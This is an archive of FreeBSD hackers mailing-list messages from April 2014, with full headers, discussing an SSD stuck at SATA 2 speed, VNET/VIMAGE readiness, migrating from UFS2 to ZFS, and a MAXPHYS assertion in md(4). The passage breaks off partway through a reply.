Sun, 20 Apr 2014 20:05:21 +0000 (UTC) Received: by mail-ee0-f41.google.com with SMTP id t10so3209231eei.0 for ; Sun, 20 Apr 2014 13:05:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:message-id:date:from:user-agent:mime-version:to:cc:subject :references:in-reply-to:content-type:content-transfer-encoding; bh=/ga1KhRbhxQD2StR3nQ2gUl4ag2DcBi30dSpM9V4ay8=; b=yqAXsrbElPDqFg4tEo9VTx0+iu11oOzxCrl9lcDvYMhJrB/BqUyPeK+bOYOFim+KKO 1t1XTB9DZpsXCc2ON+ygZJcFNGK9t4e/J9QFoAHZzUyS6cbwAwG9UvdQbnvyqQNphjeA KxjQxXDD1/ljBpWqeVRg8d9uf/pkm2EJ6Wo2AtPw1c+V3J7Mwi20iaePfBy1cst8m99P hZ9oxraIjD2fNCiiMRvHib3mR49eCntIpkBHV2mc5su8+T6LQUZ14YeAFPt4eEcbvQ11 bQxGiCsEP9DiPxs7Q1J7jYvsYJ5NnDD34pz58M5UXocDoyw2JtUgsme/omRBJEMyOd7d 4EgA== X-Received: by 10.14.210.65 with SMTP id t41mr40934478eeo.35.1398024319725; Sun, 20 Apr 2014 13:05:19 -0700 (PDT) Received: from mavbook.mavhome.dp.ua ([134.249.139.101]) by mx.google.com with ESMTPSA id m44sm97254525eep.14.2014.04.20.13.05.18 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Sun, 20 Apr 2014 13:05:19 -0700 (PDT) Sender: Alexander Motin Message-ID: <5354287D.6040508@FreeBSD.org> Date: Sun, 20 Apr 2014 23:05:17 +0300 From: Alexander Motin User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Andrey Fesenko Subject: Re: SATA2 mode on SATA3 SSD (marvell controller) after boot References: <5354238C.50100@FreeBSD.org> In-Reply-To: Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Cc: "freebsd-hackers@freebsd.org" , freebsd-current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 20 Apr 2014 20:05:22 -0000 On 20.04.2014 22:51, Andrey Fesenko wrote: > On Sun, Apr 20, 2014 at 11:44 PM, Alexander Motin wrote: >> On 20.04.2014 22:31, Andrey Fesenko wrote: >>> >>> On Thu, Apr 17, 2014 at 2:10 PM, Andrey Fesenko >>> wrote: >>>> >>>> if disconnect ssd >>>> pr 17 14:07:08 desktop kernel: ahcich3: DISCONNECT requested >>>> Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset... >>>> Apr 17 14:07:08 desktop kernel: ahcich3: SATA connect timeout >>>> time=10000us status=00000000 >>>> Apr 17 14:07:08 desktop kernel: ahcich3: AHCI reset: device not found >>>> Apr 17 14:07:08 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 >>>> lun 0 >>>> Apr 17 14:07:08 desktop kernel: pass3: s/n >>>> P02411112921 detached >>>> Apr 17 14:07:08 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun >>>> 0 >>>> Apr 17 14:07:08 desktop kernel: ada3: s/n >>>> P02411112921 detached >>>> Apr 17 14:07:08 desktop kernel: (pass3:ahcich3:0:0:0): Periph destroyed >>>> Apr 17 14:07:08 desktop kernel: (ada3:ahcich3:0:0:0): Periph destroyed >>>> Apr 17 14:07:18 desktop kernel: ahcich3: CONNECT requested >>>> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset... >>>> Apr 17 14:07:18 desktop kernel: ahcich3: SATA connect time=8000us >>>> status=00000133 >>>> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device found >>>> Apr 17 14:07:18 desktop kernel: ahcich3: AHCI reset: device ready after >>>> 0ms >>>> Apr 17 14:07:18 desktop kernel: ada3 at ahcich3 bus 0 scbus3 target 0 lun >>>> 0 >>>> Apr 17 14:07:18 desktop kernel: GEOM: new disk ada3 >>>> Apr 17 14:07:18 desktop kernel: ada3: ATA-8 >>>> SATA 3.x device >>>> Apr 17 14:07:18 desktop kernel: ada3: Serial Number P02411112921 >>>> Apr 17 14:07:18 desktop kernel: ada3: 600.000MB/s transfers (SATA 3.x, >>>> UDMA6, PIO 8192bytes) >>>> Apr 17 14:07:18 desktop kernel: ada3: Command Queueing enabled >>>> Apr 17 14:07:18 desktop kernel: ada3: 122104MB (250069680 512 byte >>>> sectors: 16H 63S/T 16383C) >>>> Apr 17 14:07:18 desktop kernel: ada3: Previously was known as ad10 >>>> Apr 17 14:07:18 desktop kernel: pass3 at ahcich3 bus 0 scbus3 target 0 >>>> lun 0 >>>> Apr 17 14:07:18 desktop kernel: pass3: ATA-8 >>>> SATA 3.x device >>>> Apr 17 14:07:18 desktop kernel: pass3: Serial Number P02411112921 >>>> Apr 17 14:07:18 desktop kernel: pass3: 600.000MB/s transfers (SATA >>>> 3.x, UDMA6, PIO 8192bytes) >>>> Apr 17 14:07:18 desktop kernel: pass3: Command Queueing enabled >>>> >>>> >>>> # uname -a >>>> FreeBSD desktop.local 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r263932: >>>> Sun Mar 30 15:43:01 MSK 2014 >>>> root@desktop.local:/usr/obj/usr/src/sys/MY_DES amd64 >>> >>> >>> Is it possible camcontrol repeat behavior as physical disable/enable >>> or enable SATA 3.x mode? >>> camcontrol negotiate only report not set new mode. >>> >>> # camcontrol negotiate pass2 >>> Current parameters: >>> (pass2:ahcich3:0:0:0): SATA revision: 2.x >>> (pass2:ahcich3:0:0:0): ATA mode: UDMA6 >>> (pass2:ahcich3:0:0:0): ATAPI packet length: 0 >>> (pass2:ahcich3:0:0:0): PIO transaction length: 8192 >>> (pass2:ahcich3:0:0:0): PMP presence: 0 >>> (pass2:ahcich3:0:0:0): Number of tags: 32 >>> (pass2:ahcich3:0:0:0): SATA capabilities: 00000030 >>> (pass2:ahcich3:0:0:0): tagged queueing: enabled >> >> >> camcontrol negotiate can limit maximal SATA mode, but not specify it >> exactly. Unless you limited it previously, there should be no limitation set >> and HBA should negotiate it freely. The limitations could be read/set with >> `camcontrol negotiate pass2 -U`, and affect operation after following >> `camcontrol reset ...`. >> >> -- >> Alexander Motin > > system this installer usb image without limitation > # uname -a > FreeBSD 11.0-CURRENT FreeBSD 11.0-CURRENT #0 r264634: Fri Apr 18 > 08:25:11 MSK 2014 > andrey@desktop.local:/usr/obj/usr/src/sys/GENERIC amd64 > > root@:~ # camcontrol negotiate pass2 -U > User parameters: > (pass2:ahcich3:0:0:0): SATA revision: 0.x > (pass2:ahcich3:0:0:0): ATA mode: NONE > (pass2:ahcich3:0:0:0): ATAPI packet length: 0 > (pass2:ahcich3:0:0:0): PIO transaction length: 8192 > (pass2:ahcich3:0:0:0): PMP presence: 0 > (pass2:ahcich3:0:0:0): Number of tags: 32 > (pass2:ahcich3:0:0:0): SATA capabilities: 00000030 > (pass2:ahcich3:0:0:0): tagged queueing: enabled > root@:~ # camcontrol reset pass2 > Reset of bus 0 was successful > root@:~ # camcontrol negotiate pass2 > Current parameters: > (pass2:ahcich3:0:0:0): SATA revision: 2.x > (pass2:ahcich3:0:0:0): ATA mode: UDMA6 > (pass2:ahcich3:0:0:0): ATAPI packet length: 0 > (pass2:ahcich3:0:0:0): PIO transaction length: 8192 > (pass2:ahcich3:0:0:0): PMP presence: 0 > (pass2:ahcich3:0:0:0): Number of tags: 32 > (pass2:ahcich3:0:0:0): SATA capabilities: 00000030 > (pass2:ahcich3:0:0:0): tagged queueing: enabled Then it is a question to hardware or firmware not an OS driver. -- Alexander Motin From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 01:56:30 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E164ED75 for ; Mon, 21 Apr 2014 01:56:30 +0000 (UTC) Received: from plane.gmane.org (plane.gmane.org [80.91.229.3]) (using TLSv1 with cipher AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 9C54B1B4A for ; Mon, 21 Apr 2014 01:56:30 +0000 (UTC) Received: from list by plane.gmane.org with local (Exim 4.69) (envelope-from ) id 1Wc3T9-0000wP-E9 for freebsd-hackers@freebsd.org; Mon, 21 Apr 2014 03:56:27 +0200 Received: from ip72-201-252-246.ph.ph.cox.net ([72.201.252.246]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 21 Apr 2014 03:56:27 +0200 Received: from kevin.bowling by ip72-201-252-246.ph.ph.cox.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 21 Apr 2014 03:56:27 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: freebsd-hackers@freebsd.org From: Kevin Bowling Subject: Getting VNET/VIMAGE across the finish line Date: Sun, 20 Apr 2014 18:56:12 -0700 Lines: 13 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@ger.gmane.org X-Gmane-NNTP-Posting-Host: ip72-201-252-246.ph.ph.cox.net User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:28.0) Gecko/20100101 Thunderbird/28.0 X-Mailman-Approved-At: Mon, 21 Apr 2014 02:01:39 +0000 Cc: freebsd-net@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 01:56:30 -0000 Hi, I'd like to see VNET/VIMAGE get added to GENERIC in -CURRENT and help stamp out any remaining issues. I'm aware of two broad problems at the moment: * http://www.freebsd.org/cgi/query-pr.cgi?pr=164763&cat= * pf related things which seem to be getting addressed Is anyone tracking other issues? Regards, Kevin From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 02:18:23 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6EA076F4; Mon, 21 Apr 2014 02:18:23 +0000 (UTC) Received: from mail-we0-x233.google.com (mail-we0-x233.google.com [IPv6:2a00:1450:400c:c03::233]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id AF56D1CF8; Mon, 21 Apr 2014 02:18:22 +0000 (UTC) Received: by mail-we0-f179.google.com with SMTP id x48so3323595wes.10 for ; Sun, 20 Apr 2014 19:18:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=AuTQufOO03DUmKgUKmWEnlx6KQAc3QFkq6oSAxinGGk=; b=USLdo4DUY2isrSSvXPMvfRFZfbMZzfJ9xrSn6FfBu7DpNqhxHxy4kYTsnO6EvWKpQN d+uf6zF1hguGK+CzmwvrZ+2CZbbIgVMslhq5X5S54RxunZ4v9uAaMEG0Lw+ZYEkOHfvl b9DSHm03ipRSNNPIPdw47MoJGYjbmRFeyBaAlBvKCl3LprJMQQRhutG2VLC1ieEkdSXQ Fd+QatB43xFE77SzDgZKjfhjpRjYLOwjS1LfX3BNDGrjS6mfp9D5H94MkI3Akh0jTLVV LUdtr5JS58pfVy9MKAh62pymQ1t8+rEnjq3N1knyzv0aTLxluvJmt/mtjPJD8Nsx3BxI Ac6w== MIME-Version: 1.0 X-Received: by 10.181.5.6 with SMTP id ci6mr11893149wid.39.1398046699492; Sun, 20 Apr 2014 19:18:19 -0700 (PDT) Received: by 10.194.235.68 with HTTP; Sun, 20 Apr 2014 19:18:19 -0700 (PDT) In-Reply-To: <5354287D.6040508@FreeBSD.org> References: <5354238C.50100@FreeBSD.org> <5354287D.6040508@FreeBSD.org> Date: Mon, 21 Apr 2014 06:18:19 +0400 Message-ID: Subject: Re: SATA2 mode on SATA3 SSD (marvell controller) after boot From: Andrey Fesenko To: Alexander Motin Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , freebsd-current X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 02:18:23 -0000 On Mon, Apr 21, 2014 at 12:05 AM, Alexander Motin wrote: > > Then it is a question to hardware or firmware not an OS driver. > > -- > Alexander Motin Thanks for the tips try to change to another, it seems some problems with the firmware In the linux (grml) Sata-3 hdd have section Standards: Supported: 9 8 7 6 5 Likely used: 9 # hdparm -I /dev/sdc /dev/sdc: ATA device, with non-removable media Model Number: PLEXTOR PX-128M5S Serial Number: P02411112921 Firmware Revision: 1.05 Transport: Serial, ATA8-AST, SATA II Extensions, SATA Rev 2.6, SATA Rev 3.0 Standards: Used: ATA/ATAPI-7 T13 1532D revision 4a Supported: 8 7 6 5 & some of 8 Configuration: Logical max current cylinders 16383 16383 heads 16 16 sectors/track 63 63 -- CHS current addressable sectors: 16514064 LBA user addressable sectors: 250069680 LBA48 user addressable sectors: 250069680 Logical Sector size: 512 bytes Physical Sector size: 512 bytes Logical Sector-0 offset: 0 bytes device size with M = 1024*1024: 122104 MBytes device size with M = 1000*1000: 128035 MBytes (128 GB) cache/buffer size = unknown Nominal Media Rotation Rate: Solid State Device Capabilities: LBA, IORDY(can be disabled) Queue depth: 32 Standby timer values: spec'd by Standard, no device specific minimum R/W multiple sector transfer: Max = 16 Current = 16 DMA: mdma0 mdma1 mdma2 udma0 udma1 udma2 udma3 udma4 udma5 *udma6 Cycle time: min=120ns recommended=120ns PIO: pio0 pio1 pio2 pio3 pio4 Cycle time: no flow control=120ns IORDY flow control=120ns Commands/features: Enabled Supported: * SMART feature set Security Mode feature set * Power Management feature set * Write cache * Look-ahead * Host Protected Area feature set * WRITE_BUFFER command * READ_BUFFER command * DOWNLOAD_MICROCODE SET_MAX security extension * 48-bit Address feature set * Device Configuration Overlay feature set * Mandatory FLUSH_CACHE * FLUSH_CACHE_EXT * SMART error logging * SMART self-test * General Purpose Logging feature set * 64-bit World wide name * Segmented DOWNLOAD_MICROCODE * Gen1 signaling speed (1.5Gb/s) * Gen2 signaling speed (3.0Gb/s) * Gen3 signaling speed (6.0Gb/s) * Native Command Queueing (NCQ) * Host-initiated interface power management * Phy event counters * DMA Setup Auto-Activate optimization Device-initiated interface power management * Software settings preservation unknown 78[8] * SMART Command Transport (SCT) feature set * SCT Write Same (AC2) * SCT Error Recovery Control (AC3) * SCT Features Control (AC4) * SCT Data Tables (AC5) * Data Set Management TRIM supported (limit 8 blocks) Security: supported not enabled not locked frozen not expired: security count supported: enhanced erase 6min for SECURITY ERASE UNIT. 6min for ENHANCED SECURITY ERASE UNIT. Logical Unit WWN Device Identifier: 500230310017df1b NAA : 5 IEEE OUI : 002303 Unique ID : 10017df1b Checksum: correct after reconnect SSD this information not change, but syslog 2014-04-21T00:23:21.223409+00:00 grml kernel: [ 3.482230] ata4: SATA link up 3.0 Gbps (SStatus 123 SControl 300) 2014-04-21T00:23:21.223410+00:00 grml kernel: [ 3.482375] Switched to clocksource tsc 2014-04-21T00:23:21.223410+00:00 grml kernel: [ 3.484803] ata4.00: ATA-8: PLEXTOR PX-128M5S, 1.05, max UDMA/133 2014-04-21T00:23:21.223413+00:00 grml kernel: [ 3.484804] ata4.00: 250069680 sectors, multi 16: LBA48 NCQ (depth 31/32), AA ... 2014-04-21T00:43:52.004962+00:00 grml kernel: [ 1199.327857] ata4: SError: { DevExch } 2014-04-21T00:43:52.004962+00:00 grml kernel: [ 1199.327860] ata4: hard resetting link 2014-04-21T00:43:52.728949+00:00 grml kernel: [ 1200.048622] ata4: SATA link up 6.0 Gbps (SStatus 133 SControl 300) 2014-04-21T00:43:52.728953+00:00 grml kernel: [ 1200.051217] ata4.00: ATA-8: PLEXTOR PX-128M5S, 1.05, max UDMA/133 2014-04-21T00:43:52.728954+00:00 grml kernel: [ 1200.051219] ata4.00: 250069680 sectors, multi 1: LBA48 NCQ (depth 31/32), AA From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 02:23:53 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 47299A2F; Mon, 21 Apr 2014 02:23:53 +0000 (UTC) Received: from mail-qg0-x22a.google.com (mail-qg0-x22a.google.com [IPv6:2607:f8b0:400d:c04::22a]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id EBC541DDB; Mon, 21 Apr 2014 02:23:52 +0000 (UTC) Received: by mail-qg0-f42.google.com with SMTP id q107so3582535qgd.29 for ; Sun, 20 Apr 2014 19:23:52 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type; bh=Uc9f6V6MZj+ls5t47xcd1AxwQnvLYDKz9mbGNotiSJ8=; b=fMLhcLqSZU2JqlFP0bWsPP7oKA7Qm6FeLF28kcgz6kMN8czJuy82nOODdG13ma+PyG 7hlTgNcXwRgnQMxFMUPjaGI5F7QS7jglC54uvYaLqowrnupUQIchmOv4DBe8KwztSAWG lwkGQyYmpnV5ciscFV/TlV0aiKquENPh7+ayU6UlkvgY8AnxHaHP89IzJjcTXkY1DN5S m6H5zdqalDVbpxHpe68e2gps3Bp1omphLylj/TCA3FaLC68MB58HGszFC0fRj3pXwJMk d4BzwFQMINzt4J62xlFo3IVqmEHcY1HeSriYHUWYwPOq9LS0C+tgNSVSe6X0lmpAImoR W7wA== MIME-Version: 1.0 X-Received: by 10.140.43.135 with SMTP id e7mr498160qga.95.1398047032073; Sun, 20 Apr 2014 19:23:52 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.191.201 with HTTP; Sun, 20 Apr 2014 19:23:52 -0700 (PDT) In-Reply-To: References: Date: Sun, 20 Apr 2014 19:23:52 -0700 X-Google-Sender-Auth: SHCpCI0RKUeLkcKBTy79MtJAMro Message-ID: Subject: Re: Getting VNET/VIMAGE across the finish line From: Adrian Chadd To: Kevin Bowling Content-Type: text/plain; charset=UTF-8 Cc: "freebsd-hackers@freebsd.org" , FreeBSD Net X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 02:23:53 -0000 On 20 April 2014 18:56, Kevin Bowling wrote: > Hi, > > I'd like to see VNET/VIMAGE get added to GENERIC in -CURRENT and help stamp > out any remaining issues. > > I'm aware of two broad problems at the moment: > * http://www.freebsd.org/cgi/query-pr.cgi?pr=164763&cat= > * pf related things which seem to be getting addressed > > Is anyone tracking other issues? No, but it doesn't mean there aren't any. Try hotswapping devices on your PC - build everything as modules, then just decide to unload them with active interfaces on them. See if that makes your machine unhappy. Same with USB things. -a From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 19:15:32 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B7C6E9F5 for ; Mon, 21 Apr 2014 19:15:32 +0000 (UTC) Received: from albert.catwhisker.org (mx.catwhisker.org [198.144.209.73]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 64CB01B4F for ; Mon, 21 Apr 2014 19:15:31 +0000 (UTC) Received: from albert.catwhisker.org (localhost [127.0.0.1]) by albert.catwhisker.org (8.14.8/8.14.8) with ESMTP id s3LJFSAf008755 for ; Mon, 21 Apr 2014 12:15:28 -0700 (PDT) (envelope-from david@albert.catwhisker.org) Received: (from david@localhost) by albert.catwhisker.org (8.14.8/8.14.8/Submit) id s3LJFSfd008754 for hackers@freebsd.org; Mon, 21 Apr 2014 12:15:28 -0700 (PDT) (envelope-from david) Date: Mon, 21 Apr 2014 12:15:28 -0700 From: David Wolfskill To: hackers@freebsd.org Subject: Pointer to info on migrating from UFS2 -> ZFS? Message-ID: <20140421191528.GI1321@albert.catwhisker.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha512; protocol="application/pgp-signature"; boundary="wZdghQXYJzyo6AGC" Content-Disposition: inline User-Agent: Mutt/1.5.23 (2014-03-12) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list Reply-To: hackers@freebsd.org List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 19:15:32 -0000 --wZdghQXYJzyo6AGC Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable At work, we have several machines presently running FreeBSD/amd64 stable/9 @r257221 that are used for building software within a jail. They currently use UFS2 + soft updates (no journaling). I am interested in finding out how the behavior of one of these systems changes if I replace the UFS2 FS where the builds are actually done with a ZFS FS. I would prefer to avoid the need to touch the machine(s) for this exercise, so I'm interested in trying the exercise using the same hardware -- though possibly configured somewhat differently. What would be a good place to start my research? [Caveat: While I've used UFS longer than ... some readers of this message have been alive, I've not administered ZFS before.] Thanks! Peace, david --=20 David H. Wolfskill david@catwhisker.org Taliban: Evil cowards with guns afraid of truth from a 14-year old girl. See http://www.catwhisker.org/~david/publickey.gpg for my public key. --wZdghQXYJzyo6AGC Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQJ8BAEBCgBmBQJTVW5KXxSAAAAAAC4AKGlzc3Vlci1mcHJAbm90YXRpb25zLm9w ZW5wZ3AuZmlmdGhob3JzZW1hbi5uZXQ4RThEMDY4QTIxMjc1MDZFRDIzODYzRTc4 QTY3RjlDOERFRjQxOTNCAAoJEIpn+cje9Bk7hg4QAJGg9OvVV6bzbQ2zZOb0+vM9 XsJIzrN8qUB8ooY9IvtmddK6EGF4FnibMDvjD94vDfbimEMOdW4moyjPBDD0iAi2 ICua0+VkVZX9Rs35ln0oWF7qVl8hkc7Y3tJ8z6YPSriSI3y2Fe6MaQ8FJ8BfxmGU O+mPKtkM3evqP/LlzrSy9m2/9UKYcynNSA8zs0wtLqRTtp5chXZpMGkmBtindFJx CIl7jAF41equnPgBpecRl5Hc3zEfkK0CdCOzVAc/3VMYWEtzhIbX+JJMpoq9wpok d62ID7SfZMhCLs7gN++O88Fhb1pqnXi6j++wd0plFkfeC68mUIEGiA1Rn+r96PmO ZLniNYtM0OOqqjTSakn21Fk9pMBaVp0zlNP2roI3AVqmFh95wDYdYsWyHUPTNbgE wAgEIB0oECY2CQySRqkeD2Njc62jgV/N0zGbWiuszmLyHZDlcfx8BFWgX9Dyyd2J zyLvC2vy+3U0L2o14NLVl+2k1Ue2zSE32mHLx3Qyr13zBEbV24019/WfoAajdRHa BeQ4hkf+QzTEb0zZ4T1K222OASZk7w8fdTa7pfnqz0VOb3KAuGGm8VBJ8L/HdGJG 5al57G8dIv2ObDbKvaTIgYKFz6WOK7A+wTv6Qtpox2iV1J/Nl/9WTvn8+4s9wQi7 tEwhJdKVvlt96B8fnIOx =J2AZ -----END PGP SIGNATURE----- --wZdghQXYJzyo6AGC-- From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 22:16:02 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DF8989E7 for ; Mon, 21 Apr 2014 22:16:02 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B0FB81DCE for ; Mon, 21 Apr 2014 22:16:02 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s3LMFstd045652 for ; Mon, 21 Apr 2014 16:15:54 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201404212215.s3LMFstd045652@elf.torek.net> From: Chris Torek To: freebsd-hackers@freebsd.org Subject: MAXPHYS in md(4) Date: Mon, 21 Apr 2014 16:15:54 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Mon, 21 Apr 2014 16:15:54 -0600 (MDT) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 22:16:02 -0000 In svn commit: r264504 - head/sys/geom/uzip we have: Make sure not to do I/O for more than MAXPHYS bytes. Doing so can cause problems in our providers, such as a KASSERT in md(4). ... That would be this one: KASSERT(bp->bio_length <= MAXPHYS, ("bio_length %jd", (uintmax_t)bp->bio_length)); if ((bp->bio_flags & BIO_UNMAPPED) == 0) { pb = NULL; aiov.iov_base = bp->bio_data; } else { pb = getpbuf(&md_vnode_pbuf_freecnt); ... As it happens, the KASSERT is really only required for the pb != NULL case, which uses one of the reserved getpbuf() buffers that only map MAXPHYS bytes at a time. If bp->bio_flags says that the bio is mapped, we just use the existing KVA, and VOP_READ() and VOP_WRITE() must already break up arbitrarily large transfers. So, it seems like the md(4) KASSERT can be moved into the "else". Is this a good idea? (It might not help r264504 much since it looks like r264504 wants to handle short-read results anyway, but it seems overly restrictive to require <= MAXPHYS for the mapped cases.) Chris From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 22:18:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 6BAFBBD1 for ; Mon, 21 Apr 2014 22:18:35 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id EA92B1E41 for ; Mon, 21 Apr 2014 22:18:34 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s3LMIUkY034101; Tue, 22 Apr 2014 01:18:30 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s3LMIUkY034101 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s3LMIUuG034100; Tue, 22 Apr 2014 01:18:30 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 22 Apr 2014 01:18:30 +0300 From: Konstantin Belousov To: Chris Torek Subject: Re: MAXPHYS in md(4) Message-ID: <20140421221830.GV4016@kib.kiev.ua> References: <201404212215.s3LMFstd045652@elf.torek.net> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="pnwJnpr18esoRWH7" Content-Disposition: inline In-Reply-To: <201404212215.s3LMFstd045652@elf.torek.net> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 22:18:35 -0000 --pnwJnpr18esoRWH7 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Mon, Apr 21, 2014 at 04:15:54PM -0600, Chris Torek wrote: > In svn commit: r264504 